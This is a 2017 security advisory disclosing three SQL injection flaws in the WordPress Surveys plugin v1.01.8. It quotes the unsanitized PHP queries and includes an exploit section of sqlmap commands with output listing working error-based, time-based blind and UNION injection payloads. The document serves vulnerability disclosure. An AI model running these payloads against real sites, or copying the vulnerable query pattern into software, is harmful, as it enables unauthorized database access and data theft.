SQL Injection in Wordpress plugin surveys v1.01.8

["Larry W. Cashdollar" <larry0 () me com>]

Title: SQL Injection in Wordpress plugin surveys v1.01.8
Author: Larry W. Cashdollar, @_larry0
Date: 2017-05-21
CVE-ID:[CVE-2017-1002020][CVE-2017-1002021][CVE-2017-1002022]
Download Site: https://wordpress.org/plugins/surveys/
Vendor: http://www.binnyva.com/
Vendor Notified: 2017-05-22
Vendor Contact: binnyva () gmail com
Advisory: http://www.vapidlabs.com/advisory.php?v=193
Description: The Surveys WordPress plugin lets you add surveys to your blog. You can let the visitors take surveys and 
see the result from the admin side.
Vulnerability:
CVE-2017-1002020:

The following code in survey_form.php does not sanitize $_REQUEST['action'] before placing it inside of an SQL query:

10:     $survey_details = $wpdb->get_row("SELECT name,description,status FROM {$wpdb->prefix}surveys_survey WHERE 
ID=$_REQUEST[survey]");

CVE-2017-1002021:

The following code in individual_responses.php does not sanitize input from $survey_id or $_REQUEST[result] before 
placing it inside of an SQL query:


  5 $survey_id = $_REQUEST['survey'];
  6 $survey_details = $wpdb->get_row("SELECT ID, name FROM {$wpdb->prefix}surveys_survey WHERE ID=$survey_id");
  7 
  8 if(isset($_REQUEST['action']) and $_REQUEST['action'] == 'delete') {
  9         $wpdb->query("DELETE FROM {$wpdb->prefix}surveys_result_answer WHERE result_ID=$_REQUEST[result]");
 10         $wpdb->query("DELETE FROM {$wpdb->prefix}surveys_result WHERE ID=$_REQUEST[result]");

CVE-2017-1002022:

In questions.php $_REQUEST[survey] is injectable as it is passed directly into the SQL statement:
94 $all_question = $wpdb->get_results("SELECT Q.ID,Q.question,(SELECT COUNT(*) FROM {$wpdb->prefix}surveys_answer WHERE 
question_id=Q.ID) AS answer_count
 95                                                                                 FROM 
{$wpdb->prefix}surveys_question AS Q
 96                                                                                 WHERE 
Q.survey_id=$_REQUEST[survey]");


Exploit Code:
        • $ sqlmap -u 
'http://192.168.0.169/wordpress/wp-admin/edit.php?page=surveys%2Fsurvey_form.php&survey=*&action=edit' --dbms mysql  
--level 1 --risk 1 --load-cookies=./cookies.txt
        •  
        •  
        • [22:45:22] [INFO] URI parameter '#1*' is 'MySQL UNION query (random number) - 1 to 20 columns' injectable
        • URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
        • sqlmap identified the following injection point(s) with a total of 1913 HTTP(s) requests:
        • ---
        • Parameter: #1* (URI)
        •     Type: error-based
        •     Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
        •     Payload: http://192.168.0.169:80/wordpress/wp-admin/edit.php?page=surveys/survey_form.php&survey=(SELECT 
8079 FROM(SELECT COUNT(*),CONCAT(0x7162767171,(SELECT (ELT(8079=8079,1))),0x71706b7171,FLOOR(RAND(0)*2))x FROM 
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&action=edit
        •  
        •     Type: AND/OR time-based blind
        •     Title: MySQL >= 5.0.12 time-based blind - Parameter replace
        •     Payload: http://192.168.0.169:80/wordpress/wp-admin/edit.php?page=surveys/survey_form.php&survey=(CASE 
WHEN (5824=5824) THEN SLEEP(5) ELSE 5824 END)&action=edit
        •  
        •     Type: UNION query
        •     Title: MySQL UNION query (random number) - 3 columns
        •     Payload: http://192.168.0.169:80/wordpress/wp-admin/edit.php?page=surveys/survey_form.php&survey=-3195 
UNION ALL SELECT 
1509,CONCAT(0x7162767171,0x49776a5a4456614e5446634579746a735757586f66776e5145566a776c45797256735a4d476f7170,0x71706b7171),1509#&action=edit
        • ---
        • [22:45:25] [INFO] the back-end DBMS is MySQL
        • web server operating system: Linux Ubuntu 16.04 (xenial)
        • web application technology: Apache 2.4.18
        • back-end DBMS: MySQL >= 5.0
        • [22:45:25] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/192.168.0.169'
        •  
        • [*] shutting down at 22:45:25
        •  
        •  
        • $ sqlmap -u 'http://example.com/wordpress/wp-admin/edit.php?page=surveys%2Fquestion.php&survey=*' --dbms 
mysql  --level 3 --risk 3 --load-cookies=./cookies.txt
        •  
        • [14:12:16] [INFO] URI parameter '#1*' is 'Generic UNION query (random number) - 1 to 20 columns' injectable
        • URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
        • sqlmap identified the following injection point(s) with a total of 1252 HTTP(s) requests:
        • ---
        • Parameter: #1* (URI)
        •     Type: AND/OR time-based blind
        •     Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
        •     Payload: http://example.com:80/wordpress/wp-admin/edit.php?page=surveys/question.php&survey=(SELECT * 
FROM (SELECT(SLEEP(5)))rwrG)
        •  
        •     Type: UNION query
        •     Title: Generic UNION query (random number) - 3 columns
        •     Payload: http://example.com:80/wordpress/wp-admin/edit.php?page=surveys/question.php&survey=-3214 UNION 
ALL SELECT 
CONCAT(0x716b787671,0x5464416c58704b4b44675145455a565a61594371676143554e705851457371584b75427a5641666d,0x7178627871),7176,7176--
 yWXG
        • ---
        • [14:12:18] [INFO] the back-end DBMS is MySQL
        • web server operating system: Linux Ubuntu 16.04 (xenial)
        • web application technology: Apache 2.4.18
        • back-end DBMS: MySQL >= 5.0.12
        • [14:12:18] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'
        •  
        • [*] shutting down at 14:12:18